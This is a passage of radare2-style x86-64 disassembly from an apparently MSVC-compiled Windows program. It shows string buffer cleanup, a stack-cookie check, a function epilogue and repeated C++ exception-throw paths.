cmp rax, 0x1f
ja 0x140002fdf
mov rcx, r8
call fcn.140008cac
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 0xf
mov byte [rbx], 0
mov edx, 0x20
mov rcx, rbx
call fcn.140008cac
nop
mov rcx, qword [rbp + 0x48]
test rcx, rcx
je 0x140002feb
mov rdx, qword [rbp + 0x50]
call fcn.140006c60
mov rdx, qword [rbp + 0x58]
mov rcx, qword [rbp + 0x48]
sub rdx, rcx
and rdx, 0xffffffffffffffe0
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002fe6
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140002fe6
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
nop
call fcn.140008cac
xor eax, eax
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.140008c50
lea r11, [rsp + 0x450]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
movaps xmm7, xmmword [r11 - 0x20]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
lea rcx, [rbp + 0x38]
call fcn.140007a60
mov qword [rsp + 0x70], rax
lea r8, [rsp + 0x70]
lea rcx, [rbp - 0x40]
call fcn.1400082c0
nop
mov r8, rax
lea rcx, [rbp - 8]
call fcn.140008380
lea rdx, [0x14000d208]
lea rcx, [rbp - 8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.140001180
nop
call fcn.140001180
nop
lea rcx, [rbp + 0x38]
call fcn.140007a60
mov qword [rsp + 0x70], rax
lea r8, [rsp + 0x70]
lea rcx, [rbp - 0x40]
call fcn.1400082c0
nop
mov r8, rax
lea rcx, [rbp - 8]
call fcn.140008380
lea rdx, [0x14000d208]
lea rcx, [rbp - 8]
call sub.VCRUNTIME140.dll__CxxThrowException
nop
call fcn.1400063d0
nop
call fcn.140001180
int3
call fcn.140001220
nop
call fcn.140001220
nop
call fcn.140001220
nop
lea rcx, [rbp + 0x38]
call fcn.140007a60
mov qword [rsp + 0x70], rax
lea r8, [rsp + 0x70]
lea rcx, [rbp - 0x80]
call fcn.1400082c0
nop
mov r8, rax
lea rcx, [rbp - 0x40]
call fcn.140008380
lea rdx, [0x14000d208]
lea rcx, [rbp - 0x40]
call sub.VCRUNTIME140.dll__CxxThrowException
int3